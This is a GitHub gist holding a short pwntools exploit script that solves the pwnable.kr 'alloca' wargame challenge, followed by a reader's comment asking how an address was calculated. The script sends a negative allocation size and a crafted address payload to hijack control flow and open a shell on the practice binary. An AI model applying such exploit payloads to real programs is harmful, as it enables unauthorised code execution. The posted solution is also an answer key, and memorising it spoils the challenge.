Skip to content

Instantly share code, notes, and snippets.

@parksjin01

parksjin01/pwnable.kr alloca(No ASLR) writeup.md

Created January 2, 2017 05:16
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save parksjin01/88f9215601ef73407906e846d48add4f to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save parksjin01/88f9215601ef73407906e846d48add4f to your computer and use it in GitHub Desktop.
Download ZIP
pwnable.kr alloca(No ASLR) writeup
Raw
pwnable.kr alloca(No ASLR) writeup.md 
from pwn import *

proc = process('alloca')
proc.sendline('-80')
proc.sendline('134525988'+',,,'+'\xab\x85\x04\x08')
proc.interactive()

ghost commented Sep 2, 2017

Copy link
Copy Markdown

could u tell me how to calc the addr 134525988=0x804b424?in my problem,it cannot access.
i set size -80,try to find a pointer pointing 0x80485ab,but no avaliable place i found.
it is thankful if you can teach me something, here is my emai Mars3.14@foxmail.com

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment